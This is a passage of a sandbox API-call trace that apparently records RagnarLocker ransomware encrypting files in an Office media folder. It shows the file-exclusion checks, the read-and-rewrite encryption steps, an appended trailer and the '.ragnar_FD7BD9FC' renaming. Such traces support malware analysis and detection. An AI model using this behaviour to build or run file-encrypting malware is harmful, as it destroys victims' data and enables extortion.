lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.ragnar_FD7BD9FC" [0095.788] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.788] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0095.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.788] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0278882.WMF" | out: lpString1="J0278882.WMF") returned="J0278882.WMF" [0095.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF") returned=".WMF" [0095.788] lstrcmpiW (lpString1="J0278882.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.788] lstrcmpiW (lpString1="J0278882.WMF", lpString2="autorun.inf") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="boot.ini") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="bootfont.bin") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="bootsect.bak") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="bootmgr") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="bootmgr.efi") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="bootmgfw.efi") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="desktop.ini") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="iconcache.db") returned 1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="ntldr") returned -1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="ntuser.dat") returned -1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="ntuser.dat.log") returned -1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="ntuser.ini") returned -1 [0095.789] lstrcmpiW (lpString1="J0278882.WMF", lpString2="thumbs.db") returned -1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.789] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf")) returned 0x20 [0095.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.790] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3792) returned 1 [0095.790] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.790] GetProcessHeap () returned 0x580000 [0095.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.790] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.791] VirtualAlloc (lpAddress=0x0, dwSize=0xed0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.791] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.791] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.792] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xed0, lpOverlapped=0x0) returned 1 [0095.792] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.792] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.792] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xed0, lpOverlapped=0x0) returned 1 [0095.792] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.792] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.792] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.792] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.792] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.792] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.792] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.793] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.793] GetProcessHeap () returned 0x580000 [0095.793] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.793] CloseHandle (hObject=0x104) returned 1 [0095.793] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" [0095.793] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.ragnar_FD7BD9FC" [0095.793] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0095.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.795] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0281904.WMF" | out: lpString1="J0281904.WMF") returned="J0281904.WMF" [0095.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF") returned=".WMF" [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="autorun.inf") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="boot.ini") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="bootfont.bin") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="bootsect.bak") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="bootmgr") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="bootmgr.efi") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="bootmgfw.efi") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="desktop.ini") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="iconcache.db") returned 1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="ntldr") returned -1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="ntuser.dat") returned -1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="ntuser.dat.log") returned -1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="ntuser.ini") returned -1 [0095.795] lstrcmpiW (lpString1="J0281904.WMF", lpString2="thumbs.db") returned -1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.795] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf")) returned 0x20 [0095.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.796] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20474) returned 1 [0095.796] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4ff1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.796] GetProcessHeap () returned 0x580000 [0095.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.796] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.798] VirtualAlloc (lpAddress=0x0, dwSize=0x4ffa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.798] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.798] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.798] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ffa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ffa, lpOverlapped=0x0) returned 1 [0095.799] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.799] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ffa, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.799] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ffa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ffa, lpOverlapped=0x0) returned 1 [0095.799] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ffa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.799] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.800] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4ffa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.800] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.800] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.800] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.800] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.800] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.800] GetProcessHeap () returned 0x580000 [0095.800] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.800] CloseHandle (hObject=0x104) returned 1 [0095.800] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" [0095.800] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.ragnar_FD7BD9FC" [0095.800] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.801] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0095.801] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.801] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0283209.GIF" | out: lpString1="J0283209.GIF") returned="J0283209.GIF" [0095.801] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF") returned=".GIF" [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="autorun.inf") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="boot.ini") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="bootfont.bin") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="bootsect.bak") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="bootmgr") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="bootmgr.efi") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="bootmgfw.efi") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="desktop.ini") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="iconcache.db") returned 1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="ntldr") returned -1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="ntuser.dat") returned -1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="ntuser.dat.log") returned -1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="ntuser.ini") returned -1 [0095.801] lstrcmpiW (lpString1="J0283209.GIF", lpString2="thumbs.db") returned -1 [0095.801] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0095.802] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0095.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif")) returned 0x20 [0095.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.803] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19910) returned 1 [0095.803] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4dbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.803] GetProcessHeap () returned 0x580000 [0095.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.803] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.804] VirtualAlloc (lpAddress=0x0, dwSize=0x4dc6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.804] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.805] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.805] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4dc6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4dc6, lpOverlapped=0x0) returned 1 [0095.807] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.807] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4dc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.807] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4dc6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4dc6, lpOverlapped=0x0) returned 1 [0095.807] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4dc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.807] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.808] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4dc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.808] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.808] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.808] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.808] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.808] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.808] GetProcessHeap () returned 0x580000 [0095.808] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.808] CloseHandle (hObject=0x104) returned 1 [0095.808] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" [0095.808] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.ragnar_FD7BD9FC" [0095.808] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.809] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, 